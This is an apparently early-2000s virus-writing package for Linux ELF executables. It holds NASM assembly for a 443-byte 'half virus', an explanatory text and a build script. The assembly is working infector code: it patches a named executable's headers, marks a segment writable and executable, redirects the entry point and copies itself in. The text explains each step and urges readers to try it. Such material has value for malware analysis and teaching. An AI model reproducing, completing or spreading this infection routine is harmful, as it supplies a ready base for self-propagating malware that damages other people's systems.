컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴[A.ASM]컴� ; /* --------------------------------------------------- ; | | ; | >>> The(c)King1980 <<< | ; | | ; | E-Mail : TheKing1980@hotmail.com | ; | Internet : http://www.geocities.com/Eureka/2675 | ; | | ; --------------------------------------------------- */ ; ; TO COMPILE: ; ; nasm -f elf a.asm ; gcc a.o -s -o a ; elfwrsec a ; section .text global main %define VIRSIZE _1stHOST - main main: PUSHF PUSHA CALL First DD 0 ; 0 FileHandle DB 061h,09Dh,068h DD _1stHOST ; 7 Old ENTRYPOINT DB 0C3h DB '1',0 ; 12 FileName First: POP ebp MOV ebx,ebp ADD ebx,12 CALL Infect ; ebx <- FileName ADD ebp,4 JMP ebp Infect: MOV eax,5 XOR edx,edx XOR ecx,ecx INC ecx INC ecx INT 80h ; SYS_OPEN TEST eax,eax JS Quit1 MOV [ebp],eax XCHG eax,ebx MOV eax,19 XCHG ecx,edx INT 80h ; SYS_LSEEK MOV esi,eax PUSH eax XOR eax,eax XOR edx,edx INC ah INC ah PUSH eax PUSH ecx PUSH ebx INC ecx PUSH ecx INC ecx INC ecx PUSH ecx PUSH eax PUSH edx MOV eax,90 MOV ebx,esp INT 80h ; SYS_MMAP first 512 bytes ADD esp,24 TEST eax,eax POP ecx POP edx JS Quit2 CLC CMP [eax],DWORD 464C457Fh JNE Cont1 CMP [eax + 4],DWORD 00010101h JNE Cont1 CMP [eax + 16],DWORD 00030002h JNE Cont1 CMP [eax + 20],DWORD 1 JNE Cont1 CMP [eax + 36],DWORD 0 JNE Cont1 CMP [eax + 12],BYTE 0 JNE Cont1 ; Check ELF executable header MOV ebx,[eax + 28] ADD ebx,eax PUSH ecx MOV cx,[eax + 44] Loop1: CMP [ebx],DWORD 1 JNE Next1 MOV edi,ebx Next1: ADD bx,[eax + 42] LOOP Loop1 ; Find last loadable segment in PH table POP ecx MOV esi,edx ADD edx,[edi + 20] SUB edx,[edi + 16] SUB edi,eax STC Cont1: XCHG eax,ebx MOV eax,91 INT 80h ; SYS_MUNMAP JNC Quit2 ADD edx,VIRSIZE MOV eax,93 MOV ebx,[ebp] MOV ecx,edx INT 80h ; SYS_FTRUNCATE to new size TEST eax,eax JNZ Quit2 MOV ecx,eax PUSH ecx PUSH ebx INC ecx PUSH ecx INC ecx INC ecx PUSH ecx PUSH edx PUSH eax MOV eax,90 MOV ebx,esp INT 80h ; SYS_MMAP whole file ADD esp,24 TEST eax,eax JS Quit2 ADD edi,eax PUSH edx MOV [eax + 12],BYTE 1 ; Set infection flag XCHG edx,edi MOV ebx,edi SUB ebx,esi MOV ecx,esi SUB ecx,[edx + 4] SUB ecx,[edx + 16] ADD esi,eax ADD edi,eax STD REP MOVSB ; Move SH table MOV ecx,[edx + 20] ADD ecx,[edx + 8] PUSH ecx ; ecx <- New ENTRYPOINT PUSH edi PUSH eax XOR eax,eax MOV ecx,ebx REP STOSB POP eax ; Clean up rest XCHG edx,edi PUSH ebx ADD ebx,[edi + 16] MOV [edi + 16],ebx MOV [edi + 20],ebx ; Fix PH segment sizes (p_filesz, p_memsz) MOV [edi + 24],DWORD 7 ; Set PH segment flags to READ + WRITE + EXEC POP ebx SUB esi,eax ADD [eax + 32],ebx ; Fix SH table position MOV edi,[eax + 32] ADD edi,eax XOR ecx,ecx MOV cx,[eax + 48] Loop2: CMP [edi + 16],esi JB Next2 ADD [edi + 16],ebx Next2: ADD di,[eax + 46] LOOP Loop2 ; Fix SH table offsets POP edi MOV ecx,VIRSIZE SUB edi,ecx POP esi PUSH DWORD [ebp + 7] MOV edx,[eax + 24] MOV [ebp + 7],edx MOV [eax + 24],esi ; Set New ENTRYPOINT MOV esi,ebp SUB esi,7 CLD REP MOVSB ; Copy virus POP DWORD [ebp + 7] XCHG eax,ebx MOV eax,91 POP ecx INT 80h ; SYS_MUNMAP Quit2: MOV eax,6 MOV ebx,[ebp] INT 80h ; SYS_CLOSE Quit1: RET _1stHOST: MOV eax,1 MOV ebx,0 INT 80h ; SYS_EXIT 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴[A.ASM]컴� 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴[INTRO.TXT]컴� Half virus: Linux.A.443 ======================= There's an interesting way how to infect ELF executable files under Linux operating system. Introduction ------------ You should know that every executable file consists of ELF header, of Program header table (PH) and finally of Section header table (SH). ELF header contains some basic information like object type (ET_EXEC), machine (EM_386) and so on. Program header table describes program's segments (.text - code segment, .data - data segment), for whitch will be allocated virtual memory when the program is being executed. Section header table describes other segments not really important for us. PH table usually follows ELF header that starts at offset 0 in the file. SH table usually lies at the end of file. The most important fields of ELF header are: e_entry (entrypoint), e_phoff (PH table's file offset), e_phentsize (size of one entry), e_phnum (number of entries in PH table), similarly e_shoff, e_shentsize and e_shnum. PH table contains this fields: p_type (PT_LOAD), p_offset (offset from the beginning of the file at which the first byte of the segment resides), p_vaddr (virtual address of the segment in memory), p_filesz (size of the segment in the file), p_memsz (size of the segment in memory - may be bigger than p_filesz) and p_flags (PF_R, PF_W, PF_X, read write executable). SH table contains information about all file's sections (.bss, .init, .fini, .note and so on). Technique --------- The infection technique is as follows. First we should check the ELF header: e_ident == 'ELF' + next 0x01 means 32-bit objects, next 0x01 means LSB data encoding (Intel CPU), next 0x01 is file version. Then e_type == ET_EXEC, e_machine == EM_386 and so on. Next we have to find the last loadable segment in the PH table. So we start searching in all PH entries for p_type == PT_LOAD. The last loadable segment may be the data segment (if there is any) or code segment in case that there is no data segment. We can be sure the p_vaddr field in this entry is the greatest, because the entries in PH table are sorted. Now we have to increase the size of the file by the virus size (which is 443 bytes) plus the difference between p_memsz and p_filesz. That is why we have to make sure our virus code remains safely in the file and in the memory. Then we can move SH table, which usually follows the last loadable segment to the end of the file so as the new infected file looks very similary to the original. Then it's recommended to zero out the space between the end of last loadable segment and the beginning of the SH table. Now we can calculate the new entrypoint - it'll be p_vaddr + p_memsz. Next we have to fix the changes in our PH entry: p_memsz = p_filesz += (443 + p_memsz - p_filesz) and p_flags = 7 (PF_R | PF_W | PF_E). In the ELF header we have to fix the SH table offset like e_shoff += (443 + oldmemsz - oldfilesz) and in the SH table we have to fix the file offsets for the sections which has sh_offset > end of the last loadable segment. Last we have to save the old entrypoint and set the new one and finally to copy our virus body. Source code ----------- The source code of the DEMO half virus is in linux443.tgz archive under name a.asm . To compile it you need Netwide Assembler and elfwrsec utility which you'll find in elfwrsec.tgz archive. Last words ---------- In the end I would like to say that this is NOT a COMPLETE virus, it's just a program which infects one file with exactly given name (default name is '1'). There's not any payload nor any function for searching for targets, so that's why I call this program HALF virus. Feel free to try it out on any Linux machine, get a copy of any executable, rename it to '1', run 'a' and watch the beauty... Disclaimer ---------- I wrote this simple program only for demonstrating an interesting way of ELF file infection. I DON'T TAKE ANY RESPONSIBILITY FOR RESULTS CAUSED BY RUNNING A MODIFIED COPY OF THIS CODE. Pavel Pech, TheKing1980@hotmail.com 03/02/2002 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴[INTRO.TXT]컴� 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴[COMPILE]컴� #!/bin/sh ./nasm -f elf a.asm gcc a.o -s -o a ./elfwrsec a 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴[COMPILE]컴�